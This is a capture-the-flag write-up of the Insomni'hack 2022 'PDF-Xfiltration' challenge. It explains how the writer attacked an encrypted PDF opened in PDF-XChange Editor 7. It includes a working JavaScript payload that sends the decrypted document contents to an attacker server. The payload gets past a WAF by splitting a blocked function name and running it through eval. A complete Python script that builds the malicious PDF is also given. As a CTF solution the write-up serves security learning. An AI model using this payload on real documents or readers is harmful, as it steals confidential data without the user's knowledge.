Insomni'hack 2022: PDF-Xfiltration

misc (451 points, 3 solves)

A task about why JavaScript in PDFs is a bad idea.

We got this password protected and therefore encrypted PDF with the following structure:

%PDF-1.7
1 0 obj
    <PageLayout data>
2 0 obj
    <CreationDate data>>
3 0 obj
    <Layout data>
4 0 obj
    <Pages data>
5 0 obj
    <encrypted patient stream data>
6 0 obj
    <MediaBox data>
7 0 obj
    <Font data>
8 0 obj
    <More font data>
9 0 obj
    <Encryption data>
<xref data>
<trailer data>
<startxref data>
%%EOF

The target is obvious, we need to somehow read the encrypted patient stream data (5 0 obj). Basically everything else is unimportant for us.

They also gave the program Dr. Virus is using: PDF-XChange Editor 7.

While researching we found https://www.pdf-insecurity.org/encryption/encryption.html. This looks exactly like what we need. When first patching the PDF and testing it, nothing happened. We need a way to “debug” and verify what is actually happening.

When opening the file locally, it prompts a password input field and we can only open it when entering the correct password. In order to circumvent this, we replace the hashes saved in the PDF with our own ones for which we know the password.

For this, we create a dummy pdf file and then encrypt it with qpdf.

qpdf --encrypt a b 256 -- input.pdf output.pdf

This encrypts the strings and streams in my dummy pdf file and adds an object containing

<< /CF << /StdCF << /AuthEvent /DocOpen /CFM /AESV3 /Length 32 >> >> /Filter /Standard /Length 256 /O <e2c261c75f637a7d3a6e4ee45c1de11571735d24bd7bfbf5495b5240168c7e8f656c1e32f7e6c28ee39dc2d0a23240a1> /OE <6da336692dbe8703acf8c41fc8e8c2baaadc1a372377f21f831eef74688d39da> /P -4 /Perms <421628955d9a084d2b601c7c52643745> /R 6 /StmF /StdCF /StrF /StdCF /U <f65607a915f1f659ed0c293d18eef8cf2b4165d86be7364b60d46fc07d4415f7cfa3f56aafa2b4d6fd3fc760f804ef72> /UE <131a60f68fcd5d905a2dad514ead039755fff2ef13b14e0a19df1bded3cac2a0> /V 5 >>

to output.pdf. We copy this line and replace the original object 9 with it. From now on, we can open the challenge file in the editor using password b. The decryption of stream 5 produces crap data with our password, but we don’t care about this for now. Form-Submissions and URI-Openings cause the editor to display a “Do you really want to open this IP/Link?”-Dialog. A quick test verified that the bot is not clicking this dialog. “PDF-Insecurity” suggested “Exfiltration via JavaScript” as third option. So that’s the way to go. Adding the payload in object 1, like they suggested, causes the editor to decrypt our JavaScript payload rendering it useless.

To circumvent this, we add our JavaScript-payload as an unencrypted embedded file after the encrypt object, add an OpenAction to object 1 (/OpenAction << /S /JavaScript /JS 10 0 R >> /Names << /EmbeddedFiles << /Names [(x) << /EF << /F 5 0 R >> >>] >> >>) and fix the xref data.

%PDF-1.7
1 0 obj
    <PageLayout data>
2 0 obj
    <CreationDate data>>
3 0 obj
    <Layout data>
4 0 obj
    <Pages data>
5 0 obj
    <encrypted patient stream data>
6 0 obj
    <MediaBox data>
7 0 obj
    <Font data>
8 0 obj
    <More font data>
9 0 obj
    <Encryption data>
10 0 obj
    <Our payload data>
<xref data>
<trailer data>
<startxref data>
%%EOF

As payload we use:

10 0 obj
<< /Type /EmbeddedFile /Filter [/Crypt] /DecodedParams [<< /Name /Identity >>] >>
stream
(Net.HTTP.request({cURL: "http://<server>/?"+encodeURIComponent(util.stringFromStream(eval("this.getDataObject"+"Contents('x',true)")).substring(330)) }))
endstream

/Filter [/Crypt] /DecodeParams [<< /Name /Identity >>] disables encryption for this particular embedded file. I actually do not know if this is even necessary, but after almost 12 hours of try and error, it ended up being in the payload. Net.HTTP.request sends a request without user-interaction. /Names << /EmbeddedFiles << /Names [(x) << /EF << /F 5 0 R >> >>] >> >> creates a variable named x with the contents of the now decrypted patient stream (+ flag). This variable can now be accessed with this.getDataObjectContents('x',true). This function is blocked by a WAF, which we bypass by splitting it and evaling it. The flag contains a # which would only send a part of the flag, therefore we encodeURIComponent it. substring for convenience.

We wrote a small python-script to apply the changes to the original PDF. The bot will open it, enter the password and therefore decrypt it. Then, without any user interaction, our JavaScript payload will trigger and send the patient data to our server:

Patient Details
Name: Alfonso Manfreso
DOB: 03/15/1959
Gender: M
Patient ID: 15646548
Results to the COVID test:
INS{PDF_#NCrypt!0n_BYp@ss_Thr0uGh_D/r3ct_3xf1ltRat1oN}

I have to say that’s a weird COVID test result, though.

Dirty solution code:

import re

# set this for local testing
local = False

d = "2022-01-23_PCR_test_patient_15646548_backup_-_PDF-XChange_Editor_7.0_Build_326.1.pdf"

with open(d,"rb") as f:
    a = f.read()

pos = a.index(b"/Catalog")

new = a[:pos + 8]
# add open action and put flag into a variable
new += b""" /OpenAction << /S /JavaScript /JS 10 0 R >> /Names << /EmbeddedFiles << /Names [(x) << /EF << /F 5 0 R >> >>] >> >>"""
new += a[pos+8:]

# accept "a" or "b" as passwords
if local:
    new = new.replace(b"c37e813188aee0710d84780cdbd8f5911de08ad42e126bd25c7333caf4540eddf5206f6a77d78ecad15e92cb7d1eefe2", b"e2c261c75f637a7d3a6e4ee45c1de11571735d24bd7bfbf5495b5240168c7e8f656c1e32f7e6c28ee39dc2d0a23240a1")
    new = new.replace(b"47892a2defde16d7c57eb11f414f6da78f0464984b0e95cbc8d17a8c720b9fcd", b"6da336692dbe8703acf8c41fc8e8c2baaadc1a372377f21f831eef74688d39da")
    new = new.replace(b"0169d0437c42dabefbcd653efced456b", b"421628955d9a084d2b601c7c52643745")
    new = new.replace(b"3c9aa6a28f972b072f290ae4781ab76ae1335bcfd46dc00f1c4dd24e65ea8986e9179277232bfd7462c44640382f8a9b", b"f65607a915f1f659ed0c293d18eef8cf2b4165d86be7364b60d46fc07d4415f7cfa3f56aafa2b4d6fd3fc760f804ef72")
    new = new.replace(b"6c3394663ab0ce631d011e61a7891f3da2e9c9bdc22a3dde8d1efd6db0c0ceec", b"131a60f68fcd5d905a2dad514ead039755fff2ef13b14e0a19df1bded3cac2a0")
    new = new.replace(b"/P -1028", b"/P -4")

# payload
new = new.replace(
    b"xref\n0 10",
    b"""10 0 obj\n<< /Type /EmbeddedFile /Filter [/Crypt] /DecodedParams [<< /Name /Identity >>] >>\nstream\n(Net.HTTP.request({cURL: "http://<server>/?"+encodeURIComponent(util.stringFromStream(eval("this.getDataObject"+"Contents('x',true)")).substring(330)) }))\nendstream\nxref\n0 11"""
)

# fix xref entries
p = 0
i = 1
while (m := re.search(rb"(?P<no>00000\d{5})(?P<all> 0{5} n)", new[p:])):
    no = new.index(f'{i} 0 obj'.encode())
    new = new.replace(m.group("no") + m.group("all"), f"{no:010d}".encode() + m.group("all"))
    i += 1
    p += m.start() + 18

# add new xref entry
new = new[:p] + f" \n{new.index(b'10 0 obj'):010d} 00000 n".encode() + new[p:]

# fix startxref entry
p = new.index(b"\nxref")
new = re.sub(rb"startxref\n\d*\n", f"startxref\n{p}\n".encode(), new)

# write new file
with open("new.pdf", "wb") as f:
    f.write(new)

print(f"{d} => new.pdf")